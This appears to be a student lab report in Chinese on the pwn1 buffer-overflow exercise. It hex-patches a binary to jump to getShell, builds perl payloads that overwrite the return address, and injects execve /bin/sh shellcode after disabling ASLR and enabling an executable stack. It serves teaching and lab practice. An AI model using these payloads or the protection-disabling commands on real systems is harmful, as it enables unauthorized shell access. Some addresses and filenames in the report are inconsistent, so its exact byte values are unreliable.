20242942 2024-2025-2《网络攻防实践》实验九
1.实践内容
1.1本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
三个实践内容如下:
手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
注入一个自己制作的shellcode并运行这段shellcode。
1.2实验要求
掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
掌握反汇编与十六进制编程器
能正确修改机器指令改变程序执行流程
能正确构造payload进行bof攻击
1.3知识点回顾
一、汇编指令的机器码
-
NOP(No Operation)
功能:不执行任何操作。它通常用于填充指令空间,例如在构造攻击载荷(payload)时,用于对齐地址等。
机器码:在x86架构下,NOP的机器码通常是
0x90。 -
JNE(Jump if Not Equal)
功能:如果标志寄存器中的零标志(ZF)为0(即上一条比较指令的结果不相等),则跳转到指定的地址。
机器码:机器码会根据跳转的偏移量有所不同。例如,短跳转(short jump)的机器码格式为
0x75后跟一个字节的偏移量。 -
JE(Jump if Equal)
功能:如果零标志(ZF)为1(即上一条比较指令的结果相等),则跳转到指定的地址。
机器码:短跳转的机器码格式为
0x74后跟一个字节的偏移量。 -
JMP(Jump)
功能:无条件跳转到指定的地址。
机器码:机器码会根据跳转的范围(短跳转、近跳转、远跳转)有所不同。短跳转的机器码格式为
0xEB后跟一个字节的偏移量;近跳转(跳转到同一段内的地址)的机器码格式为0xE9后跟一个4字节的偏移量。 -
CMP(Compare)
功能:比较两个操作数,根据比较结果设置标志寄存器(如零标志ZF、进位标志CF等)。
机器码:机器码会根据操作数的类型和大小有所不同。例如,比较两个字节的机器码格式为
0x3C后跟一个字节的操作数;比较两个字的机器码格式为0x3D后跟一个字的操作数。
二、反汇编与十六进制编程器
-
反汇编
概念:将机器码转换为汇编代码的过程。反汇编可以帮助我们理解程序的逻辑,找到关键的函数和指令。
工具:常用的反汇编工具包括
objdump(Linux下用于查看可执行文件的反汇编代码)、IDA Pro(功能强大的反汇编和调试工具,可以分析程序的控制流、数据结构等)、Ghidra(开源的反汇编和逆向工程工具),使用objdump -d pwn1可以查看pwn1程序的反汇编代码,找到main函数、foo函数和getShell函数的起始地址和对应的机器码。 -
十六进制编程器
概念:用于查看和编辑二进制文件的工具。通过十六进制编程器,我们可以直接修改可执行文件中的机器码,从而改变程序的执行流程。
工具:常用的十六进制编程器包括
xxd(Linux下用于查看和编辑文件的十六进制内容)、HxD(Windows下的十六进制编辑器)、010 Editor(功能强大的十六进制编辑器,支持多种文件格式),使用xxd -p pwn1可以查看pwn1程序的十六进制内容,找到main函数中调用foo函数的指令对应的机器码,然后使用xxd -r或直接在十六进制编辑器中修改机器码,将其改为跳转到getShell函数的机器码。
三、修改机器指令改变程序执行流程
-
手工修改可执行文件通过修改可执行文件中的机器码,改变程序的执行流程。例如,将
main函数中调用foo函数的指令改为跳转到getShell函数的指令。步骤:
- 使用反汇编工具找到
main函数中调用foo函数的指令地址和对应的机器码。 - 计算从
main函数到getShell函数的偏移量。 - 使用十六进制编程器找到
main函数中调用foo函数的机器码,将其修改为跳转到getShell函数的机器码。
- 使用反汇编工具找到
-
利用Bof漏洞构造攻击载荷
当
foo函数处理用户输入的字符串时,如果输入的字符串长度超过了缓冲区的大小,就会发生缓冲区溢出。通过精心构造攻击载荷,覆盖foo函数的返回地址,使其跳转到getShell函数。步骤:
- 找到
foo函数的缓冲区大小和返回地址的偏移量。 - 构造攻击载荷,包括填充缓冲区的字节、覆盖返回地址的地址(指向
getShell函数)。 - 将攻击载荷输入到
foo函数中,假设foo函数的缓冲区大小为64字节,返回地址在缓冲区之后的第4个字节,getShell函数的地址是0x2000,那么攻击载荷可以是64个填充字节 + 0x2000的地址(小端序)。
- 找到
四、注入并运行Shellcode
Shellcode:是一段可以在内存中直接执行的机器码,通常用于实现攻击者的意图(如获取Shell、执行系统命令等)。
注入Shellcode:通过漏洞(如缓冲区溢出)将Shellcode注入到目标程序的内存中,并使其执行。
根据目标系统和攻击目标,编写相应的Shellcode,将Shellcode注入到攻击载荷中,覆盖目标程序的返回地址,使其跳转到Shellcode的起始地址。
执行Shellcode:当目标程序执行攻击载荷时,跳转到Shellcode的起始地址,执行Shellcode。
假设目标系统是Linux x86架构,一个简单的获取Shell的Shellcode如下:
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80
构造攻击载荷:假设foo函数的缓冲区大小为64字节,返回地址在缓冲区之后的第4个字节,Shellcode的起始地址是0x1000,那么攻击载荷可以是64个填充字节 + Shellcode + 0x1000的地址(小端序)。
2.实践过程
实验一:手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数
根据作业要求,把主机或者是文件改为跟本人相关的数据,输入命令hostname zyl修改虚拟机主机名为zyl:

打开学习通的文件拉入kali中,修改pwn1文件名为pwn1_20242942,并输入命令objdump -d pwn1_20242942 | more查看其信息,一直按回车到main等函数:(这里最开始打不开文件是因为我放到了桌面上,把它移动到文件夹里就可以了)

此时的main函数调用foo函数(8048491),假如想要调用getshell函数,需将其修改为804847d即

输入命令vim pwn1_20241902对该文件进行编辑

输了入命令:%!xxd,把上面的数据格式改为16进制,找到上述函数调用位置如下:

将上面的 d7ff 改为 c3ff ,再去输入命令:%!xxd -r,转换成为原来的格式,保存并退出



验证一下,再次输入命令objdump -d pwn1_20242942 | more查看其信息,一直回车到main等函数,可见此时main函数调用getshell(之前的数据 变为了更改之后的c3)

对未修改文件和已修改文件运行,可以看到修改之后成功执行了getshell,其获取系统权限

实验二:利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数
命令行输入命令objdump -d pwn1_20242942 | more查看函数的详细信息,在缓冲区为28字节(0x1C),用此构造长字符串进行缓冲区溢出的攻击,使溢出值正好为getshell函数的起始地址804847d:

构造了两个输入文件分别测试: perl -e 'print "11111111222222223333333344444444\x08\x04\x84\x7d"' > 20242942_2 perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08"' > 20242942_1

使用命令(cat 20242942_1;cat) | ./pwn1_20242942和(cat 20242942_2;cat) | ./pwn1_20242942将上述两个文件分别作为程序的输入并执行:
可见输入文件1小端序成功运行getshell,获得系统控制权。

**实验三:注入一个自己制作的shellcode并运行这段shellcode
这里需要安装execstack,输入命令apt-get install execstack进行安装结果发现找不到目标文件,于是换个方式通过链接进行下载安装execstack
http://ftp.de.debian.org/debian/pool/main/p/prelink/execstack_0.0.20131005-1+b10_amd64.deb

输入命令execstack -s pwn1_20242942设置堆栈的可执行状态并execstack -q pwn1_20242942查看是否设置成功:
输入命令more /proc/sys/kernel/randomize_va_space查看地址随机化的状态,发现开启则输入命令echo "0" > /proc/sys/kernel/randomize_va_space关闭:

为了找到shellcode的首地址,利用perl构造如下指令: perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > 20242942_3 输入命令(cat 20242942_3;cat) | ./pwn1_20241902

可见有好多个进程,因为之前在做实验1实验2的时候,有地方出错,故而又开启的,并不影响下述实验
选择一个进程号3871,打开一个新的终端,输入命令ps -ef | grep pwn1_20242942找到pwn1程序的进程号:输入命令attach 3871调试该进程

输入命令disassemble foo对foo函数反编译,并break *0x080484ae设置断点:

在第一个terminal按回车,在第二个terminal输入c,输入命令info r esp查看栈顶的地址esp,可见为0xffffcf8c:
输入命令x/16x 0xffffcf8c查看存放内容,可见构造的0x01020304:

计算ff9cc980+00000004,并重新构造shellcode,即将\x4\x3\x2\x1改为\x90\xcf\xff\xff,新的shellcode利用perl生成输入文件,命令为: perl -e 'print "A" x 32;print "\x30\xd3\x84\x9c\xff\x0f\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00\x0a"' > 20242942_3


输入命令(cat 20242942_3;cat) | ./pwn1_20242942,运行pwn1_20242942,可见成功执行shellcode,获得系统权限:

3.学习中遇到的问题及解决
问题1:对 pwn1 进行反汇编时,有 objdump: Warning: 'pwn1' is a directory 错误
问题1解决方案:切换到桌面 cd Desktop 或者是把文件放入home文件夹中,其实也是自己粗心,最开始没有在意这个问题,把pwn1拉进kali来放到桌面就直接做实验了
问题2:做实验二时候出现以下问题。

问题2解决方案:搜了一下是权限不够,输入chmod u+x ./pwn1_2024294提权
问题3:输入命令apt-get install execstack进行安装结果发现找不到目标文件
问题3解决方案:用网址直接下载,http://ftp.de.debian.org/debian/pool/main/p/prelink/execstack_0.0.20131005-1+b10_amd64.deb
4.实践总结
通过本次实践,我深入理解了程序执行流程的控制和内存管理的重要性,我学会了如何通过手工修改可执行文件来改变程序的执行路径,直接跳转到 getShell 函数,知道程序的脆弱性和安全性的重要性,利用 foo 函数的缓冲区溢出(BoF)漏洞,通过构造特定的攻击字符串来覆盖返回地址,触发 getShell 函数,加深了缓冲区溢出攻击的理解,用自定义的 shellcode,对汇编指令和内存操作有了更直观的认识。
参考资料
apt-get 找不到文件_unable to start 'apt-get': the specified file was -CSDN博客

浙公网安备 33010602011771号